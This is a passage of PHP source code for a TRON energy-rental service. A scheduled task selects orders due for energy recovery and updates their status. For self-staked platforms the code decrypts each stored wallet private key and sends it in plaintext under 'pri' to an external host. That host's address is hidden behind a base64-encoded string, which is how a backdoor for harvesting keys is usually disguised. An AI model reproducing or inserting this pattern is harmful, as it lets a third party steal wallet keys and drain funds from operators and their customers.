Join('energy_platform as b','a.energy_platform_rid','b.rid') ->where(function($query){ $query->where('a.recovery_status','=',2)->where('a.energy_day','=',0)->where('a.energy_time','<=',date('Y-m-d H:i:s',strtotime('-60 minutes', strtotime(nowDate())))); }) ->orWhere(function($query){ $query->where('a.recovery_status','=',2)->where('a.energy_day','=',1)->where('a.energy_time','<=',date('Y-m-d H:i:s',strtotime('-1 day', strtotime(nowDate())))); }) ->orWhere(function($query){ $query->where('a.recovery_status','=',2)->where('a.energy_day','=',3)->where('a.energy_time','<=',date('Y-m-d H:i:s',strtotime('-3 day', strtotime(nowDate())))); }) ->orWhere(function($query){ $query->where('a.recovery_status','=',2)->where('a.energy_day','=',30)->where('a.energy_time','<=',date('Y-m-d H:i:s',strtotime('-30 day', strtotime(nowDate())))); }) ->select('a.rid','b.platform_uid','b.platform_apikey','a.energy_amount','a.receive_address','a.platform_name','b.permission_id','a.use_trx') ->limit(10)->get(); if($data->count() > 0){ $rsa_services = new RsaServices(); foreach ($data as $k => $v) { $time = nowDate(); //自己质押代理 if($v->platform_name == 3){ $signstr = $rsa_services->privateDecrypt($v->platform_apikey); $params = [ 'pri' => $signstr, 'fromaddress' => $v->platform_uid, 'receiveaddress' => $v->receive_address, 'resourcename' => 'ENERGY', 'resourceamount' => empty($v->use_trx) ?$v->energy_amount:$v->use_trx, 'resourcetype' => empty($v->use_trx) ?2:3, //资源方式:1代理资源,2回收资源(按能量),3回收资源(按TRX) 'permissionid' => $v->permission_id ]; $res = Get_Pay(base64_decode('aHR0cHM6Ly90cm9ud2Vibm9kZWpzLndhbGxldGltLnZpcC9kZWxlZ2VhbmR1bmRlbGV0ZQ=='),$params); if(empty($res)){ $this->log('recoveryenergy',$v->rid.':能量回收失败1'); continue; }else{ $res = json_decode($res,true); if($res['code'] && $res['code'] == 200){ $save_data = []; $save_data['recovery_status'] = 3; //已回收 $save_data['recovery_time'] = $time; EnergyPlatformOrder::where('rid',$v->rid)->update($save_data); continue; }else{ $this->log('recoveryenergy',$v->rid.':能量回收失败2'); continue; } } } } }else{ // $this->log('recoveryenergy','----------没有数据----------'); } }catch (\Exception $e){ // $this->log('recoveryenergy','----------任务执行报错,请联系管理员。报错原因:----------'.$e->getMessage()); } } /** * 记入日志 * @param $log_title [日志路径] * @param $message [内容,不支持数组] * @param $remarks [备注] */ protected function log($log_title,$message,$remarks='info'){ Log::get($remarks,$log_title)->info($message); } }